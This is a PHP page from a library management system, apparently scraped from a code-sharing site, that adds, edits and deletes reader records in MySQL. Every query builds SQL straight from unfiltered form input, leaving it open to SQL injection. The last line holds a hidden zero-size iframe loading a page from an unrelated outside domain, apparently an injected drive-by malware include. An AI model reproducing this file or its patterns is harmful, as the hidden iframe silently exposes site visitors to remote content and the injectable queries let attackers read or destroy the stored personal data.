?? readerinfocl.php
字號:
<link href="../css/css.css" rel="stylesheet" type="text/css">
<?php
include "../config.php";
?>
<?php //插入讀者部門
if(!empty($_POST[submit]))
{
$readername=$_POST["readername"];
$sex=$_POST["sex"];
$birth=$_POST["birth"];
$department=$_POST["department"];
$duty=$_POST["duty"];
$phone=$_POST["phone"];
$number=0;
$regdate=date("Y-m-d");
$remarks=$_POST["remarks"];
if(empty($readername))
{
echo "<script language='javascript'>alert('讀者姓名不能為空');history.go(-1);</script>";
}
if(empty($department))
{
echo "<script language='javascript'>alert('讀者部門不能為空');history.go(-1);</script>";
}
if(empty($phone))
{
echo "<script language='javascript'>alert('讀者電話不能為空');history.go(-1);</script>";
}
$sql="insert into bookmanagement.readerinfo(readername,sex,birth,department,duty,phone,number,regdate,remarks) values ('$readername','$sex','$birth','$department','$duty','$phone','$number','$regdate','$remarks')";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('讀者資料設置成功'); window.location.href='readerinfo.php';</script>";
}
}
?>
<?php //返回
if(!empty($_POST[submit3]))
{
echo "<script language='javascript'>window.location.href='readerinfo.php';</script>";
}
?>
<?php //修改
if(!empty($_POST[submit5]))
{
?>
<form action="readerinfocl.php" method="post" enctype="multipart/form-data" name="form2" id="form2">
<table width="765" border="0" cellspacing="0" class="table">
<tr>
<td height="50" colspan="4" class="tabletitle"> 讀者資料修改</td>
</tr>
<tr>
<td height="2" colspan="4" class="titlebg"></td>
</tr>
<tr>
<td height="10" colspan="4" class="word"></td>
</tr>
<tr>
<td height="35" class="word"> 部 門</td>
<td height="35" align="left" class="word">
<select name="department" id="department">
<?php //部門下拉列表中的內(nèi)容
$sql="select department from department";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
echo "<option value=".$row["department"].">".$row["department"]."</option>";
}
?>
</select></td>
<td height="35" align="left" class="word"> </td>
<td height="35" align="left" class="word"> </td>
</tr>
<?php
$id=$_GET["id"];
$sql="select * from bookmanagement.readerinfo where id='$_POST[selected]'";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
?>
<tr>
<td height="35" align="center" class="word">I D</td>
<td width="284" height="35" align="left" class="word"><input name="id" type="text" id="id" value="<?=$row['id']?>" size="20" /></td>
<td width="54" height="35" align="left" class="word">電 話</td>
<td width="321" height="35" align="left" class="word"><input name="phone" type="text" id="phone" value="<?=$row['phone']?>" size="20" /></td>
</tr>
<tr>
<td height="35" class="word"> 姓 名</td>
<td height="35" align="left" class="word"><input name="readername" type="text" id="readername" value="<?=$row['readername']?>" size="20" /></td>
<td height="35" align="left" class="word">性 別</td>
<td height="35" align="left" class="word"><input name="sex" type="text" id="sex" value="<?=$row['sex']?>" size="8" /></td>
</tr>
<tr>
<td height="35" class="word"> 出生日期</td>
<td height="35" align="left" class="word"><input name="birth" type="text" id="birth" value="<?=$row['birth']?>" size="20" /></td>
<td height="35" align="left" class="word">職 務</td>
<td height="35" align="left" class="word"><input name="duty" type="text" id="duty" value="<?=$row['duty']?>" size="20" /></td>
</tr>
<tr>
<td width="96" height="35" class="word"> 備 注</td>
<td height="35" colspan="3" class="word"><input name="remarks" type="text" id="remarks" value="<?=$row['remarks']?>" size="85" /></td>
</tr>
<tr>
<td height="10" colspan="4" class="word"></td>
</tr>
<tr>
<td height="2" colspan="4" align="center" class="titlebg"></td>
</tr>
<tr>
<td height="50" colspan="4" align="center" class="word">
<input name="submit7" type="submit" id="submit7" value="保存繼續(xù)" />
<input type="reset" name="submit2" value="清空內(nèi)容" />
<input type="submit" name="submit3" value="返回" /></td>
</tr>
</table>
</form>
<?php
}
?>
<?php //修改處理
if(!empty($_POST[submit7]))
{
$id=$_POST["id"];
$department=$_POST["department"];
$phone=$_POST["phone"];
$readername=$_POST["readername"];
$sex=$_POST["sex"];
$birth=$_POST["birth"];
$duty=$_POST["duty"];
$remarks=$_POST["remarks"];
if(empty($readername))
{
echo "<script language='javascript'>alert('讀者姓名不能為空');history.go(-1);</script>";
}
$sql="update bookmanagement.readerinfo set department='$department',phone='$phone',readername='$readername',sex='$sex',birth='$birth',duty='$duty',remarks='$remarks' where id='$id'";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('讀者資料修改成功'); window.location.href='readerinfo.php';</script>";
}
}
?>
<?php //刪除
if(!empty($_POST[submit6]))
{
$sql="delete from bookmanagement.readerinfo where id='$_POST[selected]'";
$result=mysql_query($sql);
if($result)
{
echo "<script language='javascript'>alert('讀者資料刪除成功'); window.location.href='readerinfo.php';</script>";
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -